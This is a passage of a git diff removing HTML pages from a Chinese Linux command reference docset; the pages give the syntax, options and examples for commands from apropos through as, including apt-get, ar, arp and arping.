- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apropos.html b/linux-command.docset/Contents/Resources/Documents/c/apropos.html deleted file mode 100644 index 613a5368e7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apropos.html +++ /dev/null @@ -1,121 +0,0 @@ - - - - - - - - - - - apropos 命令,Linux apropos 命令详解:在 whatis 数据库中查找字符串 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apropos

-

在 whatis 数据库中查找字符串

-

补充说明

-

apropos命令 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 

-

如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。

-

语法

-
apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ...
-
-

选项

-
-d, --debug:输出调试信息。
--v, --verbose:输出详细的警告信息。
--r, -- regex:将每个keyword作为正则表达式解释。这是默认行为。每个keyword将匹配手册页和描述。
--w, --wildcard:将每个keyword作为shell样式的通配符解释。
--e, --exact:每个keyword将精确匹配手册页名字和描述。
--a, --and:只显示匹配所有keyword的手册页和描述。默认显示匹配任何keyword的项。
--l, --long:不根据终端宽度缩减输出。
--s section, --section section:只查找指定的手册section。
--m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。
--M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。
--L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。
--C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。
--h, --help:打印帮助信息并退出。
--V, --version:打印版本信息并退出。
-
-

返回值

-

返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。

-

实例

-
[root@localhost ~]# man -k who
-at.allow [at]        (5)  - determine who can submit jobs via at or batch
-at.deny [at]         (5)  - determine who can submit jobs via at or batch
-jwhois               (1)  - client for the whois service
-jwhois              (rpm) - Internet whois/nicname client.
-Net::LDAP::Extension::whoami (3pm)  - LDAP Who am I? Operation
-w                    (1)  - Show who is logged on and what they are doing
-who                  (1p)  - display who is on the system
-who                  (1)  - show who is logged on
-whoami               (1)  - print effective userid
-
-[root@localhost ~]# apropos who
-at.allow [at]        (5)  - determine who can submit jobs via at or batch
-at.deny [at]         (5)  - determine who can submit jobs via at or batch
-jwhois               (1)  - client for the whois service
-jwhois              (rpm) - Internet whois/nicname client.
-Net::LDAP::Extension::WhoAmI (3pm)  - LDAP Who am I? Operation
-w                    (1)  - Show who is logged on and what they are doing
-who                  (1p)  - display who is on the system
-who                  (1)  - show who is logged on
-whoami               (1)  - print effective userid
-
-

查找手册页名字和描述中包含emacs和vi的手册页:

-
apropos -a emacs vi
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apt-get.html b/linux-command.docset/Contents/Resources/Documents/c/apt-get.html deleted file mode 100644 index 04b0a8f07f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apt-get.html +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - apt-get 命令,Linux apt-get 命令详解:Debian Linux发行版中的APT软件包管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apt-get

-

Debian Linux发行版中的APT软件包管理工具

-

补充说明

-

apt-get命令 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。

-

语法

-
apt-get [OPTION] PACKAGE
-
-

选项

-
apt-get install 安装新包
-apt-get remove 卸载已安装的包(保留配置文件)
-apt-get purge 卸载已安装的包(删除配置文件)
-apt-get update 更新软件包列表
-apt-get upgrade 更新所有已安装的包
-apt-get autoremove 卸载已不需要的包依赖
-apt-get dist-upgrade 自动处理依赖包升级
-apt-get autoclean 将已经删除了的软件包的.deb安装文件从硬盘中删除掉
-apt-get clean 删除软件包的安装包
-
--c:指定配置文件。
-
-

参数

-
    -
  • 管理指令:对APT软件包的管理操作;
  • -
  • 软件包:指定要操纵的软件包。
  • -
-

实例

-

使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下:

-
deb web或[ftp地址] [发行版名字] main/contrib/non-[free]
-
-

我们常用的Ubuntu就是一个基于Debian的发行,我们使用apt-get命令获取这个列表,以下是我整理的常用命令:

-

在修改/etc/apt/sources.list或者/etc/apt/preferences之后运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的:

-
apt-get update
-
-

安装一个新软件包:

-
apt-get install packagename
-
-

卸载一个已安装的软件包(保留配置文件):

-
apt-get remove packagename
-
-

卸载一个已安装的软件包(删除配置文件):

-
apt-get –purge remove packagename
-
-

会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件:

-
apt-get autoclean apt
-
-

这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的:

-
apt-get clean
-
-

更新所有已安装的软件包:

-
apt-get upgrade
-
-

将系统升级到新版本:

-
apt-get dist-upgrade
-
-

定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可以使用apt-get clean以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试:

-
apt-get autoclean
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apt-key.html b/linux-command.docset/Contents/Resources/Documents/c/apt-key.html deleted file mode 100644 index cc86ea875b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apt-key.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - apt-key 命令,Linux apt-key 命令详解:管理Debian Linux系统中的软件包密钥 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apt-key

-

管理Debian Linux系统中的软件包密钥

-

补充说明

-

apt-key命令 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。

-

语法

-
apt-key(参数)
-
-

参数

-

操作指令:APT密钥操作指令。

-

实例

-
apt-key list          # 列出已保存在系统中key。
-apt-key add keyname   # 把下载的key添加到本地trusted数据库中。
-apt-key del keyname   # 从本地trusted数据库删除key。
-apt-key update        # 更新本地trusted数据库,删除过期没用的key。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/apt-sortpkgs.html b/linux-command.docset/Contents/Resources/Documents/c/apt-sortpkgs.html deleted file mode 100644 index 4b393a93dc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/apt-sortpkgs.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - apt-sortpkgs 命令,Linux apt-sortpkgs 命令详解:Debian Linux下对软件包索引文件进行排序的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

apt-sortpkgs

-

Debian Linux下对软件包索引文件进行排序的工具

-

补充说明

-

apt-sortpkgs命令 是Debian Linux下对软件包索引文件进行排序的简单工具。

-

语法

-
apt-sortpkgs(选项)(参数)
-
-

选项

-
-s:使用源索引字段排序;
--h:显示帮助信息。
-
-

参数

-

文件:指定要排序的包含debian包信息的索引文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/aptitude.html b/linux-command.docset/Contents/Resources/Documents/c/aptitude.html deleted file mode 100644 index 1640541440..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/aptitude.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - aptitude 命令,Linux aptitude 命令详解:Debian Linux系统中软件包管理工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

aptitude

-

Debian Linux系统中软件包管理工具

-

补充说明

-

aptitude命令 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。

-

语法

-
aptitude(选项)(参数)
-
-

选项

-
-h:显示帮助信息;
--d:仅下载软件包,不执行安装操作;
--P:每一步操作都要求确认;
--y:所有问题都回答“yes”;
--v:显示附加信息;
--u:启动时下载新的软件包列表。
-
-

参数

-

操作命令:用户管理软件包的操作命令。

-

实例

-

以下是我总结的一些常用aptitude命令,仅供参考:

-
aptitude update            # 更新可用的包列表
-aptitude upgrade           # 升级可用的包
-aptitude dist-upgrade      # 将系统升级到新的发行版
-aptitude install pkgname   # 安装包
-aptitude remove pkgname    # 删除包
-aptitude purge pkgname     # 删除包及其配置文件
-aptitude search string     # 搜索包
-aptitude show pkgname      # 显示包的详细信息
-aptitude clean             # 删除下载的包文件
-aptitude autoclean         # 仅删除过期的包文件
-
-

当然,你也可以在文本界面模式中使用 aptitude。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ar.html b/linux-command.docset/Contents/Resources/Documents/c/ar.html deleted file mode 100644 index ea2b4e3bc7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ar.html +++ /dev/null @@ -1,199 +0,0 @@ - - - - - - - - - - - ar 命令,Linux ar 命令详解:建立或修改备存文件,或是从备存文件中抽取文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ar

-

建立或修改备存文件,或是从备存文件中抽取文件

-

补充说明

-

ar命令 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限

-

语法

-
ar [-]{dmpqrtx}[abcfilNoPsSuvV] [membername] [count] archive files...
-Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin <name>] [member-name] [count] archive-file file...
-       ar -M [<mri-脚本]
-
-

选项

-
ar 允许你 在第一个 命令行 参数中 以任意 顺序 混合 指定 操作码p 和修饰符mod .
-
-只要你 愿意, 也可以 用破折号 作为 命令行 第一个 参数的 开始.
-
-p 关键字 指明 要执行的 操作, 只能 指明为 如下 之一:
-
-d      从档案中删除 模块. 通过files 指明 要删除的 模块的 名称; 如果 没有 指出 要删除的  文件  名称,  档案不会  改变  任何
-      内容.
-
-      如果 给出了'v' 修饰符,ar 会例出 它删除的 每一个 模块.
-
-m      用此 操作 在档案中移动 成员.
-      如果 某个 符号名 在档案的 多个 成员中 有定义, 那么 程序 怎样 连接 档案 文件 得到的 结果 可能是 不同的.
-      如果  没有为m 指定 修饰符, 由files 指出的 成员 将移动到 档案的末尾 ; 可以 通过 `a', `b' 或 `i' 等修饰符, 指定 成员
-      移动的 具体 位置.
-
-p      在标准 输出上 打印 档案中 指定的 成员.  如果 给出了`v' 修饰符, 在 打印 成员 内容 之前, 先打印 成员的 名字.
-      如果没有 指明files 参数, 档案中 所有的 成员 都会被 打印 出来.
-
-q      快速 追加; 增加 files 到 archive 的末尾, 不进行 替换 检查.
-      修饰符 `a' `b'`i'不 影响此 操作, 新成员 始终 追加到 档案的 末尾处.
-      修饰符 `v' 可以使 ar 列出 它追加的 所有文件.
-      由于 本功能 是用于 快速操作, 即使 档案中 有 符号表 索引 也不 进行 更新; 可以 使用 `ar s' 或 ranlib 明确 要求  更新
-      这些索引.
-
-      在为快速 追加 重建 索引时,由于 有 太多 不同的 系统, 所以 GNU ar 采用 `q' 作为 `r'的一个 同义字.
-
-r      把文件  files  插入 archive ( 替换 ). 本操作与 `q' 是不同的, 如果 档案中 已有的 某个 成员与 插入 文件的 名称 相同,
-      此成员 将被删除.
-      如果 不存在 名称为 files 的文件, ar 显示 一个 错误 消息, 并且 保留 档案中 已有的 同名 成员.
-      缺省情况下, 新成员 增加到 挡案的 末尾; 可以 通过 使用 `a' `b' 或 `i' 等修饰符 指定 相对于 已有 成员的 位置.
-      通过 使用 `v' 修饰符 会为每个 插入的 文件 产生 一行 输出, 根据 输出中的 字符 `a' 或 `r' 可以 表明 该文件  是追加的
-      (没有 删除 以前的成员) 还是 替换的.
-
-t      显示  一个 archive 档案 所包含 内容的 列表 , 或 档案中的 由 files 指出的 文件 列表.  通常 只显示 成员的 名称, 如果
-      使用 `v' 修饰符, 可以 得到 成员的 权限, 时间属性, 属主, 组和 大小.
-
-      如果 没有 指出 files, 档案中的 所有 文件 都会 列出.
-
-      如果 档案中 (称为 `b.a') 有多个 同名 成员 (称为 `fie'), `ar t b.a fie' 仅仅 列出 第一个; 要看到 它们的 全部,  必须
-      要求 完整的 列表 —在本例中是 `ar t b.a'.
-
-x      从档案中 抽取  成员 (名称为 files) .  如果 使用 `v' 修饰符, ar 会列出 它抽取的 每一个 文件的 名字.
-      如果没有给出 files, 抽取 档案中 所有的 文件.
-
-可以在 操作符 p 后紧随 一定数量的 修饰符 mod 以指明 操作的 各种 行为.
-
-a      增加 文件到 档案中 已有 成员 之后  , 如果 使用了 修饰符 a, 必须在 档案 名称 archive 之前 以 membername 参数的 形式
-      给出 档案中 已有 成员的 名字.
-
-b      增加 文件到 档案中 已有 成员 之前  , 如果 使用了 修饰符 b, 必须在 档案 名称 archive 之前 以 membername 参数的 形式
-      给出 档案中 已有 成员的 名字.  (和修饰符 `i' 相同).
-
-c      建立    档案.  指定的 档案 archive 始终 会被建立, 如果 你要求 执行的是 更新, 通过 此修饰符 建立 档案时 会给出 一个
-      警告.
-      
-f      截短 档案成员的 名字.  ar 通常 允许 任意 长度的 文件名, 但这会 导致 与某些 系统上的 ar 出现 兼容性  问题,  使用  f
-      修饰符 可以 在往档案中 追加 文件时 把名字 截短.
-
-i      插入 文件到 档案中 已有 成员 之前  , 如果 使用了 修饰符 i, 必须在 档案 名称 archive 之前 以 membername 参数的 形式
-      给出 档案中 已有 成员的 名字.  (与修饰符 `b' 相同).
-
-l      接受此修饰符, 但不起作用.
-
-N      使用 count 参数. 本修饰符 用于 在档案中 有多个 同名 成员的 情况.  删除 或抽取 档案中 给定 名字的第 count 个实例.
-
-o      抽取 成员时 保留 他们 原始的  时间属性. 如果 没有 此修饰符, 文件以抽取 的时间 作为 它的时间 属性.
-
-P      匹配 档案中的 名字时 使用 完整的 路径名.  ar 不能 建立 使用 完整 路径名的 档案  (这不符合  POSIX  标准),  但其它的
-      档案  工具  能够建立, 本选项 会使 ar 在抽取 由其它 工具 建立的 档案 文件时, 使用完整的 路径名 去匹配 档案中 成员的
-      名字.
-
-s      即使 没有对 档案 进行 改变, 用本 修饰符 也可以 往档案中 写一个 目标 文件的 索引 或更新 已经 存在的  索引.   可以与
-      其它 操作 一起 使用 本修饰符, 也可以 单独使用.  对一个 档案 执行 `ar s' 与执行 `ranlib' 等价.
-
-S      不生成  档案的 符号表. 这可以 加速 建立 大的档案 文件的 过程,但这样 建立的 档案 不能被 连接器 使用, 为建立 符号表,
-      在最后 执行 `ar' 时应该 不用 `S' 修饰符, 或者 对档案 执行 一次 `ranlib' .
-
-u      通常ar r... 把所有 列出的 文件 插入到 档案中, 如果 希望 仅仅 插入比 档案中 已有 成员 更新的  文件时,  就应该  使用
-      此修饰符.   `u'  修饰符  仅允许  与 `r' (替换) 操作 一起 使用.  某些 情况下, 由于 用 `q' 操作 比较 文件的 时间属性
-      会失去 速度上的 优势, 所以 不允许 执行 `qu' 组合操作.
-
-v      使用本修饰符可以进行 冗余的 操作。附加了此修饰符时,很多操作会显示 更多的消息,如处理的文件名等。
-V      显示 ar 的版本号。
-
-

选项参数

-
--plugin <p> - load the specified plugin
-
-

ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex

-

实例

-

打包文件

-
[root@localhost ~]# ls   # 显示当前目录文件   
-a.c	b.c d.c   install.log	  qte
-anaconda-ks.cfg c.c Desktop 
-
-[root@localhost ~]# ar rv one.bak a.c b.c  # 打包 a.c b.c文件 
-ar: 正在创建 one.bak
-a - a.c
-a - b.c
-
-

打包多个文件

-
[root@localhost ~]# ar rv two.bak *.c  // 打包以.c结尾的文件  
-ar: 正在创建 two.bak
-a - a.c
-a - b.c
-a - c.c
-a - d.c
-
-

显示打包文件的内容

-
[root@localhost ~]# ar t two.bak    
-a.c
-b.c
-c.c
-d.c
-
-

删除打包文件的成员文件

-
[root@localhost ~]# ar d two.bak a.c b.c c.c  
-[root@localhost ~]# ar t two.bak       
-d.c
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arch.html b/linux-command.docset/Contents/Resources/Documents/c/arch.html deleted file mode 100644 index dd0a312c76..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arch.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - arch 命令,Linux arch 命令详解:显示当前主机的硬件架构类型 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arch

-

显示当前主机的硬件架构类型

-

概要

-
arch [OPTION]...
-
-

主要用途

-
    -
  • 打印机器架构信息;arch 命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等。
  • -
-

选项

-
--help       显示帮助信息并退出。
---version    显示版本信息并退出。
-
-

例子

-
[root@localhost ~]# arch
-x86_64
-
-

注意

-
    -
  1. -

    该命令等价于 uname -m

    -
  2. -
  3. -

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 archinfo coreutils 'arch invocation'

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arj.html b/linux-command.docset/Contents/Resources/Documents/c/arj.html deleted file mode 100644 index f4761ba29f..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arj.html +++ /dev/null @@ -1,81 +0,0 @@ - - - - - - - - - - - arj 命令,Linux arj 命令详解:用于创建和管理.arj压缩包 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arj

-

用于创建和管理.arj压缩包

-

补充说明

-

arj命令.arj 格式的压缩文件的管理器,用于创建和管理 .arj 压缩包。

-

语法

-
arj(参数)
-
-

参数

-
    -
  • 操作指令:对 .arj 压缩包执行的操作指令;
  • -
  • 压缩包名称:指定要操作的arj压缩包名称。
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arp.html b/linux-command.docset/Contents/Resources/Documents/c/arp.html deleted file mode 100644 index a82fe8c99b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arp.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - arp 命令,Linux arp 命令详解:arp 命令用于显示和修改 IP 到 MAC 转换表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arp

-

arp 命令用于显示和修改 IP 到 MAC 转换表

-

补充说明

-

arp 命令 是 Address Resolution Protocol,地址解析协议,是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。

-

这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注:即TCP/IP的第三层到第一层的地址转换协议],用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置,否则一般不会直接操作这个模块。

-

实际上,它提供对核心中其它协议的服务。

-

用户进程可以使用 packet(7) 的 sockets,收到 ARP 包(译注:一译分组)。 还有一种机制是使用 netlink(7) sockets,在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表

-

ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲, 并且其性状可以用下面定义的 sysctl 调节。

-

如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时, 则认为相邻层的缓存记录失效。 为了再次向目标发送数据,ARP将首先试着询问本地arp进程 app_solicit 次,获取更新了的 MAC(介质访问控制)地址。 如果失败,并且旧的MAC地址是已知的,则发送 ucast_solicit 次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列

-

如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。

-

语法

-
arp(选项)(参数)
-
-

选项

-
-a # 主机 :显示 arp 缓冲区的所有条目;
--H # 地址类型 :指定 arp 指令使用的地址类型;
--d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
--D # 使用指定接口的硬件地址;
--e # 以 Linux 的显示风格显示 arp 缓冲区中的条目;
--i # 接口 :指定要操作 arp 缓冲区的网络接口;
--s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
--n # 以数字方式显示 arp 缓冲区中的条目;
--v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
--f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。
-
-

参数

-

主机:查询 arp 缓冲区中指定主机的 arp 条目。

-

实例

-

显示arp 缓冲区内容

-
[root@localhost ~]# arp -v
-Address                  HWtype  HWaddress           Flags Mask            Iface
-192.168.0.134            ether   00:21:5E:C7:4D:88   C                     eth1
-115.238.144.129          ether   38:22:D6:2F:B2:F1   C                     eth0
-Entries: 2      Skipped: 0      Found: 2
-
-

添加静态 arp 映射

-
arp -s IP MAC-ADDRESS
-arp -s 192.168.1.1 00:b1:b2:b3:b4:b5
-
-

删除 arp 缓存条目

-
arp -d 192.168.1.1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arpd.html b/linux-command.docset/Contents/Resources/Documents/c/arpd.html deleted file mode 100644 index 75a3012bc2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arpd.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - arpd 命令,Linux arpd 命令详解:收集免费ARP信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arpd

-

收集免费ARP信息

-

补充说明

-

arpd命令 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。

-

语法

-
arpd(选项)(参数)
-
-

选项

-
-l:将arp数据库输出到标准输出设备显示并退出;
--f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似;
--b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”;
--a:指定目标被认为死掉前查询的次数;
--k:禁止通过内核发送广播查询;
--n:设定缓冲失效时间。
-
-

参数

-

网络接口:指定网络接口。

-

实例

-

启动arpd进程:

-
arpd -b /var/tmp/arpd.db
-
-

运行一段时间后,查看结果:

-
arpd -l -b /var/tmp/arpd.db
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arping.html b/linux-command.docset/Contents/Resources/Documents/c/arping.html deleted file mode 100644 index 02a1a989c5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arping.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - arping 命令,Linux arping 命令详解:通过发送ARP协议报文测试网络 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arping

-

通过发送ARP协议报文测试网络

-

补充说明

-

arping命令 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。

-

语法

-
arping(选项)(参数)
-
-

选项

-
-b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。
--q:quiet output不显示任何信息;
--f:表示在收到第一个响应报文后就退出;
--w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出;
--c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止;
--s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出;
--I interface:设置ping使用的网络接口。
-
-

参数

-

目的主机:指定发送ARP报文的目的主机。

-

实例

-
[root@localhost ~]# arping www.baidu.com 
-ARPING 220.181.111.147 from 173.231.43.132 eth0
-Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00]  1.666ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.677ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.691ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.728ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.626ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.292ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  1.429ms
-Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00]  2.042ms
-Sent 8 probes (1 broadcast(s))
-Received 8 response(s)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arptables.html b/linux-command.docset/Contents/Resources/Documents/c/arptables.html deleted file mode 100644 index 61c093e7fe..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arptables.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - arptables 命令,Linux arptables 命令详解:管理ARP包过滤规则表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arptables

-

管理ARP包过滤规则表

-

补充说明

-

arptables命令 用来设置、维护和检查Linux内核中的arp包过滤规则表。

-

语法

-
arptables(选项)
-
-

选项

-
-A:向规则链中追加规则;
--D:从指定的链中删除规则;
--l:向规则链中插入一条新的规则;
--R:替换指定规则;
--P:设置规则链的默认策略;
--F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略;
--Z:将规则链计数器清零;
--L:显示规则链中的规则列表;
--X:删除指定的空用户自定义规则链;
--h:显示指令帮助信息;
--j:指定满足规则的添加时的目标;
--s:指定要匹配ARP包的源ip地址;
--d:指定要匹配ARP包的目的IP地址。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/arpwatch.html b/linux-command.docset/Contents/Resources/Documents/c/arpwatch.html deleted file mode 100644 index 402fcf7157..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/arpwatch.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - - - - - - - arpwatch 命令,Linux arpwatch 命令详解:监听网络上ARP的记录 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

arpwatch

-

监听网络上ARP的记录

-

补充说明

-

arpwatch命令 用来监听网络上arp的记录。

-

语法

-
arpwatch(选项)
-
-

选项

-
-d:启动排错模式;
--f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat;
--i<接口>:指定监听ARP的接口,预设的接口为eth0;
--r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/as.html b/linux-command.docset/Contents/Resources/Documents/c/as.html deleted file mode 100644 index 41d5f2ea37..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/as.html +++ /dev/null @@ -1,95 +0,0 @@ - - - - - - - - - - - as 命令,Linux as 命令详解:汇编语言编译器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

as

-

汇编语言编译器

-

补充说明

-

as命令 GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。

-

语法

-
as(选项)(参数)
-
-

选项

-
-ac:忽略失败条件;
--ad:忽略调试指令;
--ah:包括高级源;
--al:包括装配;
--am:包括宏扩展;
--an:忽略形式处理;
--as:包括符号;
-=file:设置列出文件的名字;
---alternate:以交互宏模式开始;
--f:跳过空白和注释预处理;
--g:产生调试信息;
--J:对于有符号溢出不显示警告信息;
--L:在符号表中保留本地符号;
--o:指定要生成的目标文件;
---statistics:打印汇编所用的最大空间和总时间。
-
-

参数

-

